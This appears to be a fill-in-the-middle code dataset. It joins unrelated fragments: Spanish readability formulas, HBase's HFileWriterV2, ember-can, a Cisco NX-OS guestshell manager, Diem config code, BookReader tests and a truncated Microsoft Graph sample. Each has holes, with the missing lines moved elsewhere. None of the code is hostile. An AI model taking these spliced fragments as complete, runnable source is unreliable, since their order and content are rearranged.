fernandez_huerta(text): ''' Fernández Huerta readability score ''' fernandez_huerta = 206.84 - 60*Pval(text) - 1.02*Fval(text) return round(fernandez_huerta,2) def szigriszt_pazos(text): ''' Szigriszt Pazos readability score (1992) ''' return round(206.835 - 62.3 * ( count_all_syllables(numbers2words(text)) / count_words(numbers2words(text))) - (count_words(numbers2words(text)) / count_sentences(text)),2) def gutierrez(text): ''' Gutiérrez de Polini's readability score (1972) ''' legibguti = 95.2 - 9.7 * (count_letters(text) / count_words(text)) - 0.35 * (count_words(text) / count_sentences(text)) return round(legibguti, 2) def mu(text): ''' Muñoz Baquedano and Muñoz Urra's readability score (2006) ''' n = count_words(text) # Delete all digits text = ''.join(filter(lambda x: not x.isdigit(), text)) # Cleans it all clean = re.compile('\W+') text = clean.sub(' ', text).strip() text = text.split() # word list word_lengths = [] for word in text: word_lengths.append(len(word)) # The mean calculation needs at least 1 value on the list, and the variance, two. If somebody enters only one word or, what is worse, a figure, the calculation breaks, so this is a 'fix' try: mean = statistics.mean(word_lengths) variance = statistics.variance(word_lengths) mu = (n / (n - 1)) * (mean / variance) * 100 return round(mu, 2) except: return 0 def crawford(text): ''' Crawford's readability formula ''' sentences = count_sentences(text) words = count_words(numbers2words(text)) syllables = count_all_syllables(numbers2words(text)) SeW = 100 * sentences / words # number of sentences per 100 words (mean) SiW = 100 * syllables / words # number of syllables in 100 words (mean) years = -0.205 * SeW + 0.049 * SiW - 3.407 years = round(years,1) return years def interpretaP(P): ''' Szigriszt-Pazos score interpretation ''' if P <= 15: return "muy difícil" elif P > 15 and P <= 35: return "árido" elif P > 35 and P <= 50: return "bastante difícil" elif P > 50 and P <= 65: return "normal" elif P > 65 and P <= 75: return "bastante fácil" elif P > 75 and P <= 85: return "fácil" else: return "muy fácil" # Interpreta la fernandez_huerta def interpretaL(L): if L < 30: return "muy difícil" elif L >= 30 and L < 50: return "difícil" elif L >= 50 and L < 60: return "bastante difícil" elif L >= 60 and L < 70: return "normal" elif L >= 70 and L < 80: return "bastante fácil" elif L >= 80 and L < 90: return "fácil" else: return "muy fácil" # Interpretación Inflesz def inflesz(P): if P <= 40: return "muy difícil" elif P > 40 and P <= 55: return "algo difícil" elif P > 55 and P <= 65: return "normal" elif P > 65 and P <= 80: return "bastante fácil" else: return "muy fácil" def gutierrez_interpret(G): if G <= 33.33: return "difícil" if G > 33.33 and G < 66.66: return "normal" else: return "fácil" def mu_interpret(M): if M < 31: return "muy difícil" elif M >= 31 and M <= 51: return "difícil" elif M >= 51 and M < 61: return "un poco difícil" elif M >= 61 and M < 71: return "adecuado" elif M >= 71 and M < 81: return "un poco fácil" elif M >= 81 and M < 91: return "fácil" else: return "muy fácil" # See ejemplo.py to see how it works!<|fim▁end|>
#You should have received a copy of the GNU General Public License
<|file_name|>HFileWriterV2.java<|end_file_name|><|fim▁begin|>/* * Copyright 2011 The Apache Software Foundation * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.hbase.io.hfile; import java.io.DataOutput; import java.io.DataOutputStream; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FSDataOutputStream; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; import org.apache.hadoop.hbase.KeyValue; import org.apache.hadoop.hbase.KeyValue.KeyComparator; import org.apache.hadoop.hbase.io.hfile.HFile.Writer; import org.apache.hadoop.hbase.io.hfile.HFileBlock.BlockWritable; import org.apache.hadoop.hbase.regionserver.metrics.SchemaMetrics; import org.apache.hadoop.hbase.util.ChecksumType; import org.apache.hadoop.hbase.util.BloomFilterWriter; import org.apache.hadoop.hbase.util.Bytes; import org.apache.hadoop.io.Writable; import org.apache.hadoop.io.WritableUtils; /** * Writes HFile format version 2. */ public class HFileWriterV2 extends AbstractHFileWriter { static final Log LOG = LogFactory.getLog(HFileWriterV2.class); /** Max memstore (mvcc) timestamp in FileInfo */ public static final byte [] MAX_MEMSTORE_TS_KEY = Bytes.toBytes("MAX_MEMSTORE_TS_KEY"); /** KeyValue version in FileInfo */ public static final byte [] KEY_VALUE_VERSION = Bytes.toBytes("KEY_VALUE_VERSION"); /** Version for KeyValue which includes memstore timestamp */ public static final int KEY_VALUE_VER_WITH_MEMSTORE = 1; /** Inline block writers for multi-level block index and compound Blooms. */ private List<InlineBlockWriter> inlineBlockWriters = new ArrayList<InlineBlockWriter>(); /** Unified version 2 block writer */ private HFileBlock.Writer fsBlockWriter; private HFileBlockIndex.BlockIndexWriter dataBlockIndexWriter; private HFileBlockIndex.BlockIndexWriter metaBlockIndexWriter; /** The offset of the first data block or -1 if the file is empty. */ private long firstDataBlockOffset = -1; /** The offset of the last data block or 0 if the file is empty. */ private long lastDataBlockOffset; /** Additional data items to be written to the "load-on-open" section. */ private List<BlockWritable> additionalLoadOnOpenData = new ArrayList<BlockWritable>(); /** Checksum related settings */ private ChecksumType checksumType = HFile.DEFAULT_CHECKSUM_TYPE; private int bytesPerChecksum = HFile.DEFAULT_BYTES_PER_CHECKSUM; private final boolean includeMemstoreTS = true; private long maxMemstoreTS = 0; static class WriterFactoryV2 extends HFile.WriterFactory { WriterFactoryV2(Configuration conf, CacheConfig cacheConf) { super(conf, cacheConf); } @Override public Writer createWriter(FileSystem fs, Path path, FSDataOutputStream ostream, int blockSize, Compression.Algorithm compress, HFileDataBlockEncoder blockEncoder, final KeyComparator comparator, final ChecksumType checksumType, final int bytesPerChecksum) throws IOException { return new HFileWriterV2(conf, cacheConf, fs, path, ostream, blockSize, compress, blockEncoder, comparator, checksumType, bytesPerChecksum); } } /** Constructor that takes a path, creates and closes the output stream. */ public HFileWriterV2(Configuration conf, CacheConfig cacheConf, FileSystem fs, Path path, FSDataOutputStream ostream, int blockSize, Compression.Algorithm compressAlgo, HFileDataBlockEncoder blockEncoder, final KeyComparator comparator, final ChecksumType checksumType, final int bytesPerChecksum) throws IOException { super(cacheConf, ostream == null ? createOutputStream(conf, fs, path) : ostream, path, blockSize, compressAlgo, blockEncoder, comparator); SchemaMetrics.configureGlobally(conf); this.checksumType = checksumType; this.bytesPerChecksum = bytesPerChecksum; finishInit(conf); } /** Additional initialization steps */ private void finishInit(final Configuration conf) { if (fsBlockWriter != null) throw new IllegalStateException("finishInit called twice"); // HFile filesystem-level (non-caching) block writer fsBlockWriter = new HFileBlock.Writer(compressAlgo, blockEncoder, includeMemstoreTS, checksumType, bytesPerChecksum); // Data block index writer boolean cacheIndexesOnWrite = cacheConf.shouldCacheIndexesOnWrite(); dataBlockIndexWriter = new HFileBlockIndex.BlockIndexWriter(fsBlockWriter, cacheIndexesOnWrite ? cacheConf.getBlockCache(): null, cacheIndexesOnWrite ? name : null); dataBlockIndexWriter.setMaxChunkSize( HFileBlockIndex.getMaxChunkSize(conf)); inlineBlockWriters.add(dataBlockIndexWriter); // Meta data block index writer metaBlockIndexWriter = new HFileBlockIndex.BlockIndexWriter(); LOG.debug("Initialized with " + cacheConf); if (isSchemaConfigured()) { schemaConfigurationChanged(); } } @Override protected void schemaConfigurationChanged() { passSchemaMetricsTo(dataBlockIndexWriter); passSchemaMetricsTo(metaBlockIndexWriter); } /** * At a block boundary, write all the inline blocks and opens new block. * * @throws IOException */ private void checkBlockBoundary() throws IOException { if (fsBlockWriter.blockSizeWritten() < blockSize) return; finishBlock(); writeInlineBlocks(false); newBlock(); } /** Clean up the current block */ private void finishBlock() throws IOException { if (!fsBlockWriter.isWriting() || fsBlockWriter.blockSizeWritten() == 0) return; long startTimeNs = System.nanoTime(); // Update the first data block offset for scanning. if (firstDataBlockOffset == -1) { firstDataBlockOffset = outputStream.getPos(); } // Update the last data block offset lastDataBlockOffset = outputStream.getPos(); fsBlockWriter.writeHeaderAndData(outputStream); int onDiskSize = fsBlockWriter.getOnDiskSizeWithHeader(); dataBlockIndexWriter.addEntry(firstKeyInBlock, lastDataBlockOffset, onDiskSize); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); HFile.offerWriteLatency(System.nanoTime() - startTimeNs); if (cacheConf.shouldCacheDataOnWrite()) { doCacheOnWrite(lastDataBlockOffset); } } /** Gives inline block writers an opportunity to contribute blocks. */ private void writeInlineBlocks(boolean closing) throws IOException { for (InlineBlockWriter ibw : inlineBlockWriters) { while (ibw.shouldWriteBlock(closing)) { long offset = outputStream.getPos(); boolean cacheThisBlock = ibw.cacheOnWrite(); ibw.writeInlineBlock(fsBlockWriter.startWriting( ibw.getInlineBlockType())); fsBlockWriter.writeHeaderAndData(outputStream); ibw.blockWritten(offset, fsBlockWriter.getOnDiskSizeWithHeader(), fsBlockWriter.getUncompressedSizeWithoutHeader()); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); if (cacheThisBlock) { doCacheOnWrite(offset); } } } } /** * Caches the last written HFile block. * @param offset the offset of the block we want to cache. Used to determine * the cache key. */ private void doCacheOnWrite(long offset) { // We don't cache-on-write data blocks on compaction, so assume this is not // a compaction. final boolean isCompaction = false; HFileBlock cacheFormatBlock = blockEncoder.diskToCacheFormat( fsBlockWriter.getBlockForCaching(), isCompaction); passSchemaMetricsTo(cacheFormatBlock); cacheConf.getBlockCache().cacheBlock( new BlockCacheKey(name, offset, blockEncoder.getEncodingInCache(), cacheFormatBlock.getBlockType()), cacheFormatBlock); } /** * Ready a new block for writing. * * @throws IOException */ private void newBlock() throws IOException { // This is where the next block begins. fsBlockWriter.startWriting(BlockType.DATA); firstKeyInBlock = null; } /** * Add a meta block to the end of the file. Call before close(). Metadata * blocks are expensive. Fill one with a bunch of serialized data rather than * do a metadata block per metadata instance. If metadata is small, consider * adding to file info using {@link #appendFileInfo(byte[], byte[])} * * @param metaBlockName * name of the block * @param content * will call readFields to get data later (DO NOT REUSE) */ @Override public void appendMetaBlock(String metaBlockName, Writable content) { byte[] key = Bytes.toBytes(metaBlockName); int i; for (i = 0; i < metaNames.size(); ++i) { // stop when the current key is greater than our own byte[] cur = metaNames.get(i); if (Bytes.BYTES_RAWCOMPARATOR.compare(cur, 0, cur.length, key, 0, key.length) > 0) { break; } } metaNames.add(i, key); metaData.add(i, content); } /** * Add key/value to file. Keys must be added in an order that agrees with the * Comparator passed on construction. * * @param kv * KeyValue to add. Cannot be empty nor null. * @throws IOException */ @Override public void append(final KeyValue kv) throws IOException { append(kv.getMemstoreTS(), kv.getBuffer(), kv.getKeyOffset(), kv.getKeyLength(), kv.getBuffer(), kv.getValueOffset(), kv.getValueLength()); this.maxMemstoreTS = Math.max(this.maxMemstoreTS, kv.getMemstoreTS()); } /** * Add key/value to file. Keys must be added in an order that agrees with the * Comparator passed on construction. * * @param key * Key to add. Cannot be empty nor null. * @param value * Value to add. Cannot be empty nor null. * @throws IOException */ @Override public void append(final byte[] key, final byte[] value) throws IOException { append(0, key, 0, key.length, value, 0, value.length); } /** * Add key/value to file. Keys must be added in an order that agrees with the * Comparator passed on construction. * * @param key * @param koffset<|fim▁hole|> * @param value * @param voffset * @param vlength * @throws IOException */ private void append(final long memstoreTS, final byte[] key, final int koffset, final int klength, final byte[] value, final int voffset, final int vlength) throws IOException { boolean dupKey = checkKey(key, koffset, klength); checkValue(value, voffset, vlength); if (!dupKey) { checkBlockBoundary(); } if (!fsBlockWriter.isWriting()) newBlock(); // Write length of key and value and then actual key and value bytes. // Additionally, we may also write down the memstoreTS. { DataOutputStream out = fsBlockWriter.getUserDataStream(); out.writeInt(klength); totalKeyLength += klength; out.writeInt(vlength); totalValueLength += vlength; out.write(key, koffset, klength); out.write(value, voffset, vlength); if (this.includeMemstoreTS) { WritableUtils.writeVLong(out, memstoreTS); } } // Are we the first key in this block? if (firstKeyInBlock == null) { // Copy the key. firstKeyInBlock = new byte[klength]; System.arraycopy(key, koffset, firstKeyInBlock, 0, klength); } lastKeyBuffer = key; lastKeyOffset = koffset; lastKeyLength = klength; entryCount++; } @Override public void close() throws IOException { if (outputStream == null) { return; } // Write out the end of the data blocks, then write meta data blocks. // followed by fileinfo, data block index and meta block index. finishBlock(); writeInlineBlocks(true); FixedFileTrailer trailer = new FixedFileTrailer(2, HFileReaderV2.MAX_MINOR_VERSION); // Write out the metadata blocks if any. if (!metaNames.isEmpty()) { for (int i = 0; i < metaNames.size(); ++i) { // store the beginning offset long offset = outputStream.getPos(); // write the metadata content DataOutputStream dos = fsBlockWriter.startWriting(BlockType.META); metaData.get(i).write(dos); fsBlockWriter.writeHeaderAndData(outputStream); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); // Add the new meta block to the meta index. metaBlockIndexWriter.addEntry(metaNames.get(i), offset, fsBlockWriter.getOnDiskSizeWithHeader()); } } // Load-on-open section. // Data block index. // // In version 2, this section of the file starts with the root level data // block index. We call a function that writes intermediate-level blocks // first, then root level, and returns the offset of the root level block // index. long rootIndexOffset = dataBlockIndexWriter.writeIndexBlocks(outputStream); trailer.setLoadOnOpenOffset(rootIndexOffset); // Meta block index. metaBlockIndexWriter.writeSingleLevelIndex(fsBlockWriter.startWriting( BlockType.ROOT_INDEX), "meta"); fsBlockWriter.writeHeaderAndData(outputStream); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); if (this.includeMemstoreTS) { appendFileInfo(MAX_MEMSTORE_TS_KEY, Bytes.toBytes(maxMemstoreTS)); appendFileInfo(KEY_VALUE_VERSION, Bytes.toBytes(KEY_VALUE_VER_WITH_MEMSTORE)); } // File info writeFileInfo(trailer, fsBlockWriter.startWriting(BlockType.FILE_INFO)); fsBlockWriter.writeHeaderAndData(outputStream); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); // Load-on-open data supplied by higher levels, e.g. Bloom filters. for (BlockWritable w : additionalLoadOnOpenData){ fsBlockWriter.writeBlock(w, outputStream); totalUncompressedBytes += fsBlockWriter.getUncompressedSizeWithHeader(); } // Now finish off the trailer. trailer.setNumDataIndexLevels(dataBlockIndexWriter.getNumLevels()); trailer.setUncompressedDataIndexSize( dataBlockIndexWriter.getTotalUncompressedSize()); trailer.setFirstDataBlockOffset(firstDataBlockOffset); trailer.setLastDataBlockOffset(lastDataBlockOffset); trailer.setComparatorClass(comparator.getClass()); trailer.setDataIndexCount(dataBlockIndexWriter.getNumRootEntries()); finishClose(trailer); fsBlockWriter.releaseCompressor(); } @Override public void addInlineBlockWriter(InlineBlockWriter ibw) { inlineBlockWriters.add(ibw); } @Override public void addGeneralBloomFilter(final BloomFilterWriter bfw) { this.addBloomFilter(bfw, BlockType.GENERAL_BLOOM_META); } @Override public void addDeleteFamilyBloomFilter(final BloomFilterWriter bfw) { this.addBloomFilter(bfw, BlockType.DELETE_FAMILY_BLOOM_META); } private void addBloomFilter(final BloomFilterWriter bfw, final BlockType blockType) { if (bfw.getKeyCount() <= 0) return; if (blockType != BlockType.GENERAL_BLOOM_META && blockType != BlockType.DELETE_FAMILY_BLOOM_META) { throw new RuntimeException("Block Type: " + blockType.toString() + "is not supported"); } additionalLoadOnOpenData.add(new BlockWritable() { @Override public BlockType getBlockType() { return blockType; } @Override public void writeToBlock(DataOutput out) throws IOException { bfw.getMetaWriter().write(out); Writable dataWriter = bfw.getDataWriter(); if (dataWriter != null) dataWriter.write(out); } }); } }<|fim▁end|>
* @param klength
<|file_name|>computed.js<|end_file_name|><|fim▁begin|>import { computed, get } from '@ember/object'; import { getOwner } from '@ember/application'; import { deprecate } from '@ember/debug'; export function ability(abilityName, resourceName) { deprecate( 'Using ability() computed property is deprecated. Use getters and Can service directly.', false, { for: 'ember-can', since: { enabled: '4.0.0', }, id: 'ember-can.deprecate-ability-computed', until: '5.0.0', } );<|fim▁hole|> return computed(resourceName, function () { let canService = getOwner(this).lookup('service:abilities'); return canService.abilityFor(abilityName, get(this, resourceName)); }).readOnly(); }<|fim▁end|>
resourceName = resourceName || abilityName;
<|file_name|>etl.py<|end_file_name|><|fim▁begin|>def transform(old):<|fim▁hole|> old.items() for value in values}<|fim▁end|>
return {value.lower(): score for score, values in
<|file_name|>guestshell.py<|end_file_name|><|fim▁begin|># Copyright 2014-present, Apstra, Inc. All rights reserved. # # This source code is licensed under End User License Agreement found in the # LICENSE file at http://www.apstra.com/community/eula <|fim▁hole|>from functools import partial from aeon.nxos.exceptions import CommandError _MODEL_RC_LIMITS = { } class _guestshell(object): GUESTSHELL_CPU = 6 GUESTSHELL_DISK = 1024 GUESTSHELL_MEMORY = 3072 Resources = namedtuple('Resources', 'cpu memory disk') def __init__(self, device, cpu=GUESTSHELL_CPU, memory=GUESTSHELL_MEMORY, disk=GUESTSHELL_DISK, log=None): self.device = device self.guestshell = partial(self.device.api.exec_opcmd, msg_type='cli_show_ascii') self.cli = self.device.api.exec_opcmd self.log = log or logging.getLogger() self.sz_max = {} self._get_sz_max() self.sz_need = _guestshell.Resources( cpu=min(cpu, self.sz_max['cpu']), memory=min(memory, self.sz_max['memory']), disk=min(disk, self.sz_max['disk'])) self.sz_has = None self._state = None self.exists = False # --------------------------------------------------------------- # ----- # ----- PROPERTIES # ----- # --------------------------------------------------------------- @property def state(self): cmd = 'show virtual-service detail name guestshell+' try: got = self.cli(cmd) except CommandError: # means there is no guestshell self.exists = False self._state = 'None' return self._state try: self._state = got['TABLE_detail']['ROW_detail']['state'] return self._state except TypeError: # means there is no guestshell self.exists = False self._state = 'None' return self._state @property def size(self): self._get_sz_info() return self.sz_has # --------------------------------------------------------------- # ----- # ----- PUBLIC METHODS # ----- # --------------------------------------------------------------- def setup(self): self.log.info("/START(guestshell): setup") state = self.state self.log.info("/INFO(guestshell): current state: %s" % state) if 'Activated' == state: self._get_sz_info() if self.sz_need != self.sz_has: self.log.info("/INFO(guestshell): need to resize, please wait...") self.resize() self.reboot() else: self.log.info( "/INFO(guestshell): not activated, enabling with proper size, " "please wait ...") self.resize() self.enable() self._get_sz_info() self.log.info("/END(guestshell): setup") def reboot(self): self.guestshell('guestshell reboot') self._wait_state('Activated') def enable(self): self.guestshell('guestshell enable') self._wait_state('Activated') def destroy(self): if 'None' == self.state: return if 'Activating' == self.state: self._wait_state('Activated') if 'Deactivating' == self.state: self._wait_state('Deactivated') self.guestshell('guestshell destroy') self._wait_state('None') def disable(self): self.guestshell('guestshell disable') self._wait_state('Deactivated') def resize_cpu(self, cpu): value = min(cpu, self.sz_max['cpu']) self.guestshell('guestshell resize cpu {}'.format(value)) def resize_memory(self, memory): value = min(memory, self.sz_max['memory']) self.guestshell('guestshell resize memory {}'.format(value)) def resize_disk(self, disk): value = min(disk, self.sz_max['disk']) self.guestshell('guestshell resize rootfs {}'.format(value)) def resize(self): self.resize_cpu(self.sz_need.cpu) self.resize_memory(self.sz_need.memory) self.resize_disk(self.sz_need.disk) def run(self, command): return self.guestshell('guestshell run %s' % command) def sudoers(self, enable): """ This method is used to enable/disable bash sudo commands running through the guestshell virtual service. By default sudo access is prevented due to the setting in the 'sudoers' file. Therefore the setting must be disabled in the file to enable sudo commands. This method assumes that the "bash-shell" feature is enabled. @@@ TO-DO: have a mech to check &| control bash-shell feature support :param enable: True - enables sudo commands False - disables sudo commands :return: returns the response of the sed command needed to make the file change """ f_sudoers = "/isan/vdc_1/virtual-instance/guestshell+/rootfs/etc/sudoers" if enable is True: sed_cmd = r" 's/\(^Defaults *requiretty\)/#\1/g' " elif enable is False: sed_cmd = r" 's/^#\(Defaults *requiretty\)/\1/g' " else: raise RuntimeError('enable must be True or False') self.guestshell("run bash sudo sed -i" + sed_cmd + f_sudoers) # --------------------------------------------------------------- # ----- # ----- PRIVATE METHODS # ----- # --------------------------------------------------------------- def _get_sz_max(self): got = self.cli('show virtual-service global') limits = got['TABLE_resource_limits']['ROW_resource_limits'] for resource in limits: name = resource['media_name'] max_val = int(resource['quota']) if 'CPU' in name: self.sz_max['cpu'] = max_val elif 'memory' in name: self.sz_max['memory'] = max_val elif 'flash' in name: self.sz_max['disk'] = max_val def _get_sz_info(self): """ Obtains the current resource allocations, assumes that the guestshell is in an 'Activated' state """ if 'None' == self._state: return None cmd = 'show virtual-service detail name guestshell+' got = self.cli(cmd) got = got['TABLE_detail']['ROW_detail'] sz_cpu = int(got['cpu_reservation']) sz_disk = int(got['disk_reservation']) sz_memory = int(got['memory_reservation']) self.sz_has = _guestshell.Resources( cpu=sz_cpu, memory=sz_memory, disk=sz_disk) def _wait_state(self, state, timeout=60, interval=1, retry=0): now_state = None time.sleep(interval) while timeout: now_state = self.state if now_state == state: return time.sleep(interval) timeout -= 1 if state == 'Activated' and now_state == 'Activating': # maybe give it some more time ... if retry > 2: msg = '/INFO(guestshell): waiting too long for Activated state' self.log.critical(msg) raise RuntimeError(msg) self.log.info('/INFO(guestshell): still Activating ... giving it some more time') self._wait_state(state, retry + 1) else: msg = '/INFO(guestshell): state %s never happened, still %s' % (state, now_state) self.log.critical(msg) raise RuntimeError(msg)<|fim▁end|>
from collections import namedtuple import time import logging
<|file_name|>switchDefaultFirst.js<|end_file_name|><|fim▁begin|>var name; switch (name) { case "Kamol": doSomething(); default: doSomethingElse(); } switch (name) { default: doSomethingElse();<|fim▁hole|> doSomething(); }<|fim▁end|>
break; case "Kamol":
<|file_name|>vm_config.rs<|end_file_name|><|fim▁begin|>// Copyright (c) The Diem Core Contributors // SPDX-License-Identifier: Apache-2.0 use crate::on_chain_config::OnChainConfig; use anyhow::{format_err, Result}; use move_core_types::gas_schedule::{CostTable, GasConstants}; use serde::{Deserialize, Serialize}; /// Defines all the on chain configuration data needed by VM. #[derive(Clone, Debug, Deserialize, PartialEq, Serialize)] pub struct VMConfig { pub gas_schedule: CostTable, } #[derive(Clone, Debug, Deserialize, PartialEq, Serialize)] struct CostTableInner { pub instruction_table: Vec<u8>, pub native_table: Vec<u8>, pub gas_constants: GasConstants, } #[derive(Clone, Debug, Deserialize, PartialEq, Serialize)] struct VMConfigInner { pub gas_schedule: CostTableInner, } impl CostTableInner { pub fn as_cost_table(&self) -> Result<CostTable> { let instruction_table = bcs::from_bytes(&self.instruction_table)?; let native_table = bcs::from_bytes(&self.native_table)?; Ok(CostTable { instruction_table,<|fim▁hole|> native_table, gas_constants: self.gas_constants.clone(), }) } } impl OnChainConfig for VMConfig { const IDENTIFIER: &'static str = "DiemVMConfig"; fn deserialize_into_config(bytes: &[u8]) -> Result<Self> { let raw_vm_config = bcs::from_bytes::<VMConfigInner>(&bytes).map_err(|e| { format_err!( "Failed first round of deserialization for VMConfigInner: {}", e ) })?; let gas_schedule = raw_vm_config.gas_schedule.as_cost_table()?; Ok(VMConfig { gas_schedule }) } }<|fim▁end|>
<|file_name|>volumes-provider.test.js<|end_file_name|><|fim▁begin|>import { expect, fixture, fixtureCleanup, fixtureSync } from '@open-wc/testing'; import sinon from 'sinon'; import volumesProvider from '../../../../src/BookNavigator/volumes/volumes-provider'; const brOptions = { "options": { "enableMultipleBooks": true, "multipleBooksList": { "by_subprefix": { "/details/SubBookTest": { "url_path": "/details/SubBookTest", "file_subprefix": "book1/GPORFP", "orig_sort": 1, "title": "book1/GPORFP.pdf", "file_source": "/book1/GPORFP_jp2.zip" }, "/details/SubBookTest/subdir/book2/brewster_kahle_internet_archive": { "url_path": "/details/SubBookTest/subdir/book2/brewster_kahle_internet_archive", "file_subprefix": "subdir/book2/brewster_kahle_internet_archive", "orig_sort": 2, "title": "subdir/book2/brewster_kahle_internet_archive.pdf", "file_source": "/subdir/book2/brewster_kahle_internet_archive_jp2.zip" }, "/details/SubBookTest/subdir/subsubdir/book3/Rfp008011ResponseInternetArchive-without-resume": { "url_path": "/details/SubBookTest/subdir/subsubdir/book3/Rfp008011ResponseInternetArchive-without-resume", "file_subprefix": "subdir/subsubdir/book3/Rfp008011ResponseInternetArchive-without-resume", "orig_sort": 3, "title": "subdir/subsubdir/book3/Rfp008011ResponseInternetArchive-without-resume.pdf", "file_source": "/subdir/subsubdir/book3/Rfp008011ResponseInternetArchive-without-resume_jp2.zip" } } } } }; afterEach(() => { sinon.restore(); fixtureCleanup(); }); describe('Volumes Provider', () => { it('constructor', () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); const files = brOptions.options.multipleBooksList.by_subprefix; const volumeCount = Object.keys(files).length; expect(provider.onProviderChange).to.equal(onProviderChange); expect(provider.id).to.equal('volumes'); expect(provider.icon).to.exist; expect(fixtureSync(provider.icon).tagName).to.equal('svg'); expect(provider.label).to.equal(`Viewable files (${volumeCount})`); expect(provider.viewableFiles).to.exist; expect(provider.viewableFiles.length).to.equal(3); expect(provider.component.hostUrl).to.exist; expect(provider.component.hostUrl).to.equal(baseHost); expect(provider.component).to.exist; }); it('sorting cycles - render sort actionButton', async () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); expect(provider.sortOrderBy).to.equal("default"); provider.sortVolumes("title_asc"); expect(provider.sortOrderBy).to.equal("title_asc"); expect(fixtureSync(provider.sortButton).outerHTML).includes("sort-by asc-icon"); provider.sortVolumes("title_desc"); expect(provider.sortOrderBy).to.equal("title_desc"); expect(fixtureSync(provider.sortButton).outerHTML).includes("sort-by desc-icon"); provider.sortVolumes("default"); expect(provider.sortOrderBy).to.equal("default"); expect(fixtureSync(provider.sortButton).outerHTML).includes("sort-by neutral-icon"); }); it('sort volumes in initial order', async () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); const parsedFiles = brOptions.options.multipleBooksList.by_subprefix; const files = Object.keys(parsedFiles).map(item => parsedFiles[item]).sort((a, b) => a.orig_sort - b.orig_sort); const origSortTitles = files.map(item => item.title); provider.sortVolumes("default"); expect(provider.sortOrderBy).to.equal("default"); expect(provider.actionButton).to.exist; const providerFileTitles = provider.viewableFiles.map(item => item.title); // use `.eql` for "lose equality" in order to deeply compare values. expect(providerFileTitles).to.eql([...origSortTitles]); }); it('sort volumes in ascending title order', async () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); const parsedFiles = brOptions.options.multipleBooksList.by_subprefix; const files = Object.keys(parsedFiles).map(item => parsedFiles[item]); const ascendingTitles = files.map(item => item.title).sort((a, b) => a.localeCompare(b)); provider.sortVolumes("title_asc"); expect(provider.sortOrderBy).to.equal("title_asc"); expect(provider.actionButton).to.exist; const providerFileTitles = provider.viewableFiles.map(item => item.title); // use `.eql` for "lose equality" in order to deeply compare values. expect(providerFileTitles).to.eql([...ascendingTitles]); }); it('sort volumes in descending title order', async () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); provider.isSortAscending = false; const parsedFiles = brOptions.options.multipleBooksList.by_subprefix; const files = Object.keys(parsedFiles).map(item => parsedFiles[item]); const descendingTitles = files.map(item => item.title).sort((a, b) => b.localeCompare(a)); provider.sortVolumes("title_desc"); expect(provider.sortOrderBy).to.equals("title_desc"); expect(provider.actionButton).to.exist; const providerFileTitles = provider.viewableFiles.map(item => item.title); // use `.eql` for "lose equality" in order to deeply compare values. expect(providerFileTitles).to.eql([...descendingTitles]); }); describe('Sorting icons', () => { it('has 3 icons', async () => { const onProviderChange = sinon.fake(); const baseHost = "https://archive.org"; const provider = new volumesProvider({ baseHost, bookreader: brOptions, onProviderChange }); provider.sortOrderBy = 'default'; const origSortButton = await fixture(provider.sortButton);<|fim▁hole|> expect(ascButton.classList.contains('asc-icon')).to.be.true; provider.sortOrderBy = 'title_desc'; const descButton = await fixture(provider.sortButton); expect(descButton.classList.contains('desc-icon')).to.be.true; }); }); });<|fim▁end|>
expect(origSortButton.classList.contains('neutral-icon')).to.be.true; provider.sortOrderBy = 'title_asc'; const ascButton = await fixture(provider.sortButton);
<|file_name|>index.js<|end_file_name|><|fim▁begin|>/* * Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. * See LICENSE in the project root for license information. */ /** * This sample shows how to: * - Get the current user's metadata * - Get the current user's profile photo * - Attach the photo as a file attachment to an email message * - Upload the photo to the user's root drive * - Get a sharing link for the file and add it to the message * - Send the email */ const express = require('express'); const router = express.Router(); const graphHelper = require('../utils/graphHelper.js'); const emailer = require('../utils/emailer.js'); const passport = require('passport'); // ////const fs = require('fs'); // ////const path = require('path'); // Get the home page. router.get('/', (req, res) => { // check if user is authenticated if (!req.isAuthenticated()) { res.render('login'); } else { renderSendMail(req, res); } }); // Authentication request. router.get('/login',<|fim▁hole|> // Authentication callback. // After we have an access token, get user data and load the sendMail page. router.get('/token', passport.authenticate('azuread-openidconnect', { failureRedirect: '/' }), (req, res) => { graphHelper.getUserData(req.user.accessToken, (err, user) => { if (!err) { req.user.profile.displayName = user.body.displayName; req.user.profile.emails = [{ address: user.body.mail || user.body.userPrincipalName }]; renderSendMail(req, res); } else { renderError(err, res); } }); }); // Load the sendMail page. function renderSendMail(req, res) { res.render('sendMail', { display_name: req.user.profile.displayName, email_address: req.user.profile.emails[0].address }); } // Do prep before building the email message. // The message contains a file attachment and embeds a sharing link to the file in the message body. function prepForEmailMessage(req, callback) { const accessToken = req.user.accessToken; const displayName = req.user.profile.displayName; const destinationEmailAddress = 